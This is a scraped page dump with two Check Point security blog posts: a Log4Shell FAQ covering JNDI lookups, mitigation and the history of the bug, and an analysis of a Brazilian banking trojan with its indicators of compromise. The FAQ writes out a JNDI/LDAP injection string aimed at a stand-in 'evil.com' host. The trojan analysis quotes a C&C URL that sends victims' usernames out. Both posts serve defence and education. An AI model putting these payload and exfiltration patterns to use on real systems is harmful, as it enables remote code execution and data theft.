\n\n\n\n\n

 

\n\n\n\n

How does an exploit for Log4Shell work exactly? What do “jndi” and “ldap” mean?

\n\n\n\n

JNDI is a Java feature which allows Java objects to be loaded and used by a Java program during runtime. One of JNDI’s supported protocols for incoming Java objects is LDAP, an open-source, vendor-neutral protocol for “accessing directory information”, which you can also use to speak to your friendly neighborhood installation of MS Active Directory. LDAP and its Data Interchange Format (LDIF) were created at the University of Michigan in 1992, and if you squint at them enough, they almost look like some sort of proto-nosql.

\n\n\n\n

The log4j2 module’s homebrew “lookups” language supports retrieveing objects via JNDI. The string ${ jndi:ldap://evil.com/malware} means: “please use JNDI to retrieve and run the Java class residing at evil.com/malware; you will receive the class in LDAP protocol response format”. It should be noted that while only the ${ jndi:ldap://...} attack variant has become a proper viral meme, there are milder variants of the attack such as e.g.  ${ jndi:dns://...} which will make a crafted DNS request to a server of the attacker’s choice, and can be used to cause unauthorized information disclosure.

\n\n\n\n

As part of their response guide, the Swiss CERT produced a visualization of the attack which we find very elucidating, and is reproduced below.

\n\n\n\n

\n\n\n\n

 

\n\n\n\n

How can I protect myself against Log4Shell?

\n\n\n\n

First, we encourage you to browse the above-mentioned Swiss CERT response guide in its entirety, including the list of recommended actions. Second, you should appreciate that these many and varied countermeasures are all presented for a reason, and no single one of them is a silver bullet. To wit:

\n\n\n\n\n\n\n\n

Each individual mitigation on the list has its holes and drawbacks, but jointly, these items constitute something like the swiss cheese model of pandemic defense. 

\n\n\n\n

How and Why did this happen? How do we make sure it doesn’t happen again?

\n\n\n\n

The story goes more or less like this.

\n\n\n\n

In March of 1999, 8 developers working on the Apache web server form the Apache Software Foundation (ASF), a nonprofit with the goal of supporting open source projects. Under the guidance of the ASF, the original log4j sees its alpha release about half a year later, and a stable release follows about a year after that, in early 2001. Development on the original log4j continues until 2005 or so; in 2006, a new project named “LogBack” appears, introducing itself as a “successor [..] which picks up where log4j 1.X left off” and offering various performance and quality of life improvements. In 2012, log4j experiences an unlikely renaissance, as several developers come together to create a rewrite of it which becomes the initial alpha version of log4j2. Two months later, log4j2 publishes a beta release; it is during this beta phase that one of the project early adopters creates a feature request for support of JNDI as a very convenient feature, detailing several use cases for it and even offering an already-written patch containing an implementation. 5 days after the request is submitted, a project maintainer laconically approves the merge request: “Your patch was committed in revision 1504620. Please verify and close”.

\n\n\n\n

8 years later, which is to say, last month, the Alibaba cloud security team discreetly reaches out to the ASF in order to disclose the existence of the log4shell vulnerability. Public disclosure follows a few weeks later in a tweet (that has since been deleted), including source code for a working exploit. All hell breaks loose and the xkcd comic below is posted to social media thirty thousand times. 

\n\n\n\n
\"\"/
\n\n\n\n

Patches are issued, JVMs are updated, incident response teams over the world contemplate a career of cabbage farming someplace quiet in Canada. One of the log4j2 project maintainers complains:

\n\n\n\n
\n

Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns. https://t.co/W2u6AcBUM8

— Volkan Yazıcı (@yazicivo) December 10, 2021
\n
\n\n\n\n

Response is overwhelmingly supportive. The occasional dissenter insists that there was no “need” to keep anything and “compatibility” is the root of all evil, or at least in this case, in hindsight, it was. Passers-by wonder if the ASF hasn’t been paying the maintainers of log4j2, what has it been doing exactly.

\n\n\n\n

Natural human instinct is to blame someone, and maybe for good reason. A lot of problems in the world are in fact the fault of specific people being selfish or short-sighted, and can be solved by taking these people to task. Still, it’s worth remembering that a lot of other problems in the world are caused by impersonal forces that push around individuals like cogs in a machine, seemingly without regard for their theoretical free will. How many times in history has a developer, even a well-paid developer, approved a feature request like this, despite a tingling sense of unease that the feature seems too powerful and vaguely out of scope for the project? The first security professional, tasked with securing a cave some time in the stone age, probably complained about this on their first day. It seems to keep happening no matter how many times we point the blaming finger at people after the fact. No one is very excited to deal with angry users, colleagues, managers and have to explain to them “no, everyone, trust me, I prevented a catastrophe”.

\n\n\n\n

The emergence of the OpenSSL Heartbleed vulnerability in 2014 kindled a keen interest in taking better care of starved and understaffed open source projects that are cornerstones of modern digital infrastructure, as visualized in the comic above. Surely, this even worse incident will have a similar effect. But maybe the most profound effect of this whole ordeal on the future will be its weight as a cautionary tale. Three weeks ago, the average developer faced with a demand to have software evaluate arbitrary expressions for an extra “convenient” feature would have been the helpless cog in the machine, pressured to comply, with no recourse but to issue vague theoretical warnings that this is not the Right Thing To Do. But from today on, that developer can and should respond: “No. Are you serious? Do you want to cause the next Log4Shell?”

\n\n\n\n

 

\n\n\n\n

 

\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2021/the-laconic-log4shell-faq/","tags":[],"score":0.20423421263694763,"topStoryDate":null},{"id":"303","type":"Blog_Publication","name":"The Return of the Brazilian Banker Trojan","author":"Check Point Research Team","date":1455836401000,"description":"Brazil. It is known as the land of carnivals, beaches, coconuts and vicious phishing campaigns. These campaigns have long been considered a national threat; on average, a Brazilian organization receives over 1000 phishing attacks per month. Check Point research team often uses various Brazilian phishing","content":"

Brazil. It is known as the land of carnivals, beaches, coconuts – and vicious phishing campaigns. These campaigns have long been considered a national threat; on average, a Brazilian organization receives over 1000 phishing attacks per month.

\n

Check Point research team often uses various Brazilian phishing malwares as part of our research training program. In one instance, we gave our trainees a rather old malware, a Trojan commonly known as the “Banker”, which was first spotted in 2009. Banker is not technically complex but serves as a good example for “OSINT”-based research. The results were quite surprising.

\n

Our research shows that while the malware has adapted over the years, the same technique used in the original sample is still very much alive and kicking, and is possibly linked to the same campaign or actor. The latest samples are from January 2016 and the current attack rate detected by Check Point’s ThreatCloud is over 100 attacks per day, only in Brazil.

\n

Overview – how does the malware operate?

\n

The “Banker” malware attempts to steal user credentials in order to make unauthorized money transactions. The infection method is simple and efficient: the malware changes the native operating system proxy configuration. Whenever a user attempts to connect to one of the targeted banks, they are referred to a fake login webpage. Thinking that they are logging into their own bank accounts, the users enter their credentials – which are now in the hands of the attacker.

\n

The proxy configuration files dropped by the malware consist of settings related to specific Brazilian banks and financial institutions. This malware family targets Brazil only, and infected machines spotted outside of the country are most likely the results of lack of distribution planning and inaccuracy.

\n

The chase begins – analyzing the early versions of the malware

\n

Earlier versions of the malware were simple batch files packed by a UPX packer. The malware attempts to change some basic security configurations to remain undetected, such as turning off antivirus and firewall notifications, and disabling browser certificate verification, user account control, and system restore.

\n

In addition, the malware notifies its operators that the specific machine has been successfully infected. It launches a minimized Internet Explorer window and sends the victim’s username and computer name to the C&C at a pre-defined URL whose structure can be seen here:

\n

http://112[.]72.128.242/famas.php?a=%username%-%computername%
 
The malware then copies the proxy configuration to a file in the TEMP folder with the same name as the computer. The configuration file consists of the functions set. These functions are in fact redirections to malicious servers, which are activated when the victim visits one of the listed domains of targeted banks and financial institutions. A sample configuration file, which was obfuscated, contained the names of 23 financial institutions (see Appendix 1).

\n

Following the breadcrumb trails

\n

Further examination of the samples led us to the domain ioffset.info with the following registration address: bbetinha2@gmail.com.

\n

A search for additional domains registered by the same email address revealed the following domain: ixyou.info. After analyzing this domain, we found two connected email addresses: a60a0@play.ixyou.info and root@play.ixyou.info.

\n

We learned that the owner of these new addresses had spread phishing emails containing malicious attachments. We were able to obtain samples of these attachments, and found a number of new domain names and IP addresses. One domain, vks11466.ip-37-59-121.eu, led us to an additional malware sample.

\n

At this point, the trail grew cold, as every possible lead had already been investigated, with no further results.
\nWe conducted additional research on the known indicators-of-compromise. This time, the sample A77219A971029DC2FB683E8513713803 caught our attention.

\n

According to VirusTotal, this sample was not detected by any cyber security vendor, yet during our investigation we already encountered the domain it used:
\ndll.ixyou.info/xp.txt

\n

And so we were back on track! The domain contained a referral to this filename: xp.txt

\n

The chase continues…

\n

As we turned our focus to collecting samples operating with the filename xp.txt, we were able to get our hands on a Banker sample last spotted on September 28, 2014. This sample is not a batch file, and was compressed with a UPX packer. It was distributed via phishing emails as a flash installer.

\n

A dedicated search led us to another new sample, also undetected according to VirusTotal. This time, the sample was a JAR file – last spotted on December 15th, 2015! Analysis of this sample revealed that the file contains only a single function.

\n

\"pic 
This function has two actions:

\n
    \n
  1. Download a proxy configuration file from a URL, and set the local proxy to use this configuration.
  2. \n
  3. Open a new Internet Explorer instance and browse to a predefined URL, probably in order to confirm successful infection. The pre-defined URL is: h[tt]p://database.deliveryfaby.com/dadosquantis/
  4. \n
\n

As seen in the commands above, the function and variable names are written in Portuguese. The pre-defined URL is inactive, but all signs lead us to believe that it was indeed used to notify the malware operators of a successful infection.

\n

The sample last spotted on January 27, 2016 is a Java sample whose target list consists of bank names (see Appendix 2).
\nThere are differences between this list and the list of the 2012 batch file targets, but there are many similarities as well. We can also see that the same technique used by the most recent sample is used against customers of the Brazilian financial sector.

\n

Based on these findings, we can determine with high confidence that this sample is indeed related to the original Banker malware – we cannot determine whether the same threat actor is behind all of the various campaigns, but the similarities are clear. This means the Banker Trojan is still actively trying to obtain Brazilian banking credentials, and as seen by samples obtained from different dates, it was probably active all along.

\n

Following this development, we have spotted 782 attacks of the “Banker” malware between 27.1.16-3.2.16, with an average of more than 100 attacks per day.

\n

\"pic

\n

Conclusion

\n

Despite the commonly held belief that the Banker malware was active primarily in the years 2009 – 2013, the reality is quite different.

\n

Our findings show that the technique used by the original Banker Trojan is still in use, and the malware from the same campaign (or a very similar one) is currently active. This malware presents a current threat to the Brazilian banking system and its users.

\n

Check Point Threat Prevention customers are protected from this threat.

\n

The post The Return of the Brazilian Banker Trojan appeared first on Check Point Blog.

\n","status":"PUBLISHED","fileName":"106052978","link":"http://blog.checkpoint.com/2016/02/18/the-return-of-the-brazilian-banker-trojan/","tags":["Phishing","Flash"],"score":0.10666249692440033,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":null};